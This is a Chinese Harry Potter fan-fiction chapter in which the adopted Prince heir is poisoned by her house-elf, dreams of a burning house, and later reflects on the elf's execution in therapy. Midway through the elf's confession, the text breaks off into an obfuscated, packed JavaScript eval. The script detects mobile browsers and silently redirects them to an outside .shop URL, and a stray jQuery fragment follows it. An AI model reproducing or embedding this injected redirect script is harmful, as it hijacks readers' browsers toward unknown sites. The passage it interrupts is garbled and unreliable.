贝拉特里克斯和罗道夫斯疯了!
所有看见预言家日报上登出的过继声明的人都是这个想法。另外,不少高龄生子的快要绝嗣的巫师家庭也是心有戚戚。
莱斯特兰奇家族直接夺走了普林斯家的继承人。
简直是礼崩乐坏!
巫师世界忽然流行起了养生,不少老巫师盯着自己家的孩子,觉得自己还能多活几年。其中。西里斯的好朋友詹姆·波特家就是这样。
西里斯和我说,波特的爸爸妈妈不知道发了什么疯,忽然开始研究起健身了。老波特先生甚至会拉着詹姆·波特每天出门散步。
他说话的时候,没心没肺地告诉我,沃尔布加最近正在跟布莱克家的所有人冷战。因为我的名字被德鲁埃拉太太报复性地用最亮的金线绣在族谱上的。另外,不知道是不是因为德鲁埃拉年纪大了,那个名字绣的似乎比周围其他名字要大上一圈。
“以前我妈妈特别喜欢欣赏族谱,最近像是看见它就心烦一样。”
西里斯说这句话的时候,好像完全没有意识到我就是他的母亲心烦的源头。我平静地坐在一边的椅子上,等着吃玛丽端上来的冰淇淋。
贝拉与罗道夫斯结婚多年,一直没有孩子,之前早已有了心灰意冷的迹象。如今收养我,大概是想在我还小的时候便将我充作莱斯特兰奇家的后代,未来如果拉布斯坦结婚生子,罗道夫斯和他的弟弟不至于再为了财产打破脑袋。
这些都是我的揣测,他们的想法也从来不和我说。最近我似乎正在长牙,总觉得牙龈隐隐作痛,就更加喜欢吃冰淇淋。
西里斯在家里因为有沃尔布加看着,从来不让他吃这些,于是竟然能忍受贝拉的抱怨,常常往莱斯特兰奇家跑——贝拉为了和沃尔布加较劲,竟然也不赶他。
我改换姓氏,本身却并没有什么不同。倒是罗道夫斯和贝拉了却一桩心愿,最近看着都轻松许多。只是我名义上的叔叔拉布斯坦却不太高兴,最近也不常回家了。
其次伤心的就是玛丽,它好几天都偷偷在自己的小窝里抹眼泪。这种伤心他不敢让家里的主人们看出来,只能憋在心里,让它显得更加苍老憔悴了。
“谢谢你,玛丽。”我拿走冰淇淋,西里斯也迫不及待拿走自己的那份。玛丽的手指紧张地攥着自己的衣角,一双大而干瘪的耳朵支棱起来,看上去像是老透了的小型犬,怪异又叫人伤心。
“你看上去不太舒服。”我说,“去烤一会炉火吧,休息一下。”
“你干嘛对家养小精灵说这种话。”西里斯咬着冰淇淋,几口就吞了下去,我心里想和他较劲个,也直接一口啃上去。
过了几息,我的腹中一阵绞痛,西里斯开始尖叫,很快的,一股浓烈的色彩撞入我的视野,耳边的尖叫声消失了,椅子咣当一声,我摔倒在地上,像被热水浇过的蚕一样打滚。
-
【您是否忽略过弱小者的愤怒?】
-
瑞文·斯内普走在路上,她遇见一只山羊。
蜘蛛尾巷这条街不超过五百米,初次见到它的人都会认为这是一条死胡同。走近第一幢房子,天空便黑沉沉地压下来,河道上翻着河泥腐烂的气味,鱼身上异常粗大的鳞片在水面下影影绰绰。
冲天的火光从房子的窗户里透出,一只山羊就这样闲适地躺在屋前花园的草坪上。月光静而透白,将它的毛发照射地无暇剔透。
它看见瑞文,站起来,浑身骨骼发出嘎吱嘎吱的声音。
“房子着火了。”瑞文对它说。
“是的,房子在着火。”山羊慢条斯理地说,它早就知道了,这里所有生物都看见了。火光透过灰蒙蒙的窗户,形成一个光辉熠熠的王冠。王冠明亮、金黄、多根尖锐的顶端明灭不定,长在动物黄色色的眼中。
“那里有人吗?”瑞文问它。
“有一窝瘾/君子,但是,不重要。”山羊说。它站起来,尖尖的犄角无比美丽,在它刚刚休息的地方,有一些白色的小花。
瑞文说:“你真漂亮,我喜欢你。”
“多谢。”山羊彬彬有礼,冷漠地注视着窗户。瑞文问它:“房子为什么会起火?”
“因为有人点火。”羊说。
“为什么要点火呢?”
“极乐、痛苦、恐惧、疯狂。”
-
贝拉特里克斯走进病房,她脱掉外罩的大衣,坐在病床边上。柔软的床铺被压得微微下陷。跟在她身后进来的是圣芒戈的治疗师,她把我上半身从床上抱起来,贝拉趁机垫了软枕,好叫我能坐起来和她们对话。
“今天感觉怎么样?”治疗师问我。
“我有点伤心。”我说,“我梦见一间着火的房子和一只山羊。”
治疗师与贝拉对视一眼,又平静地移开视线。我说:“我想喝水,把杯子给我,好嘛?”
贝拉站起身,倒了一杯温水。治疗师检查我的眼睛,确定虹膜没有出血,她的动作很温柔,就像是我随时都会再次死给她看一样。不过,我的死亡并不会对她造成什么影响,她手上活过来的人很多,和死掉的一样多。
罗道夫斯昨天过来见过我,他看上去十分憔悴,一直向我道歉。因为是我的家养小精灵玛丽在冰淇淋里下了毒药——多亏梅林保佑,按照常理,这样的毒药几乎是立即致死的,但是我奇迹般撑到了贝拉和他把我带到圣芒戈的那一步。
就像是我在死神面前穿上了隐身衣般。
玛丽被阿奇捆起来,扭送给傲罗。那一会,这个老仆人已经心如死灰,它并没有做什么挣扎,只是平静地对法律司的官员说:
“因为小主人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740383|205528||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
背叛了普林斯。”
好了,案件便告一段落。玛丽在过去躲过了傲罗的失职控告,如今又因为谋杀的罪名被逮捕。那个衰老的、奄奄一息的小动物被愤怒的贝拉和罗道夫斯送去仍然在执行死刑的欧洲。
他们处死它与摔死一条狗并没有区别。
我平静地靠在软枕上,听着贝拉絮絮叨叨地说着玛丽被送走的样子。她因为能够处死这个奴隶而感到开心,温热的手掌握着我的手,希望也能够将这种畅快传给我。
只是我并不能理解她的喜悦。玛丽一直照顾我,从小到大都是这样。我爱它。我用不太利索的手写作业,贝拉见着着急,干脆也帮我写起来。她在这里待了一整个白天,直到晚上才回去。
七点钟,是治疗师安排的心理咨询时间。据说西里斯也接受了这个治疗,他吓坏了,据罗道夫斯说,当时贝拉一把抄起我扛到圣芒戈之后,他们两个回家,发现西里斯像木头一样干站着。
“他会没事的。”罗道夫斯说,“除了可能这辈子都不会吃冰淇淋之外。”
那他真是受苦了。
治疗师走进来,她看上去四十多岁,面容可亲,言谈举止都透露着一种叫小孩子心悦诚服的权威。
“我不想接受这种治疗了。”我说,“我不觉得这一切都有什么不可接受的。”
治疗师坐在我面前,她问:“为什么会这样说呢?”
我朝她眨了眨眼,露出微笑:“就像这样。”
笑容消失。
“嗯?”
“改变能改变的,接受不能改变的。”我说,“我已经接受了玛丽想要杀我这件事。本来,它效忠的便是我的父母——老普林斯夫妇,而不是我。在它看来,我继承了普林斯家的家产又改姓莱斯特兰奇,就像是莱斯特兰奇偷走了普林斯的遗产一样。当我改姓的时候,我就不再是它的小主人,而是一个小偷。”
“你就这样原谅那个家养小精灵了吗?”治疗师问我。
“原不原谅有什么意义呢?”我对她说,“玛丽就像一间着火的房子,我们在它内部开始烧着的时候,谁也没有发觉。再说——它已经死了,为自己的行为付出代价。”
“我也一样。”
我安静地盯着被子上的花纹,眼睫扑闪,最后流下眼泪。
家养小精灵玛丽的怨恨和死亡一起消失了,在它死亡后短暂的时间里,我感到悲伤,之后便是一种轻松的庆幸。我甩掉了一个可能对我造成威胁的存在。玛丽是知道老普林斯夫妇究竟有没有生下我——这也是它异常愤怒的原因之一吧。
我不知道它弥留之际有没有把这件事说出来,不过,左右都不重要了。我的心脏酸酸的,但是很快又长了回来,真奇怪,我好像天生便会忘记很多叫人伤心的事情。
这大概是一种好天赋。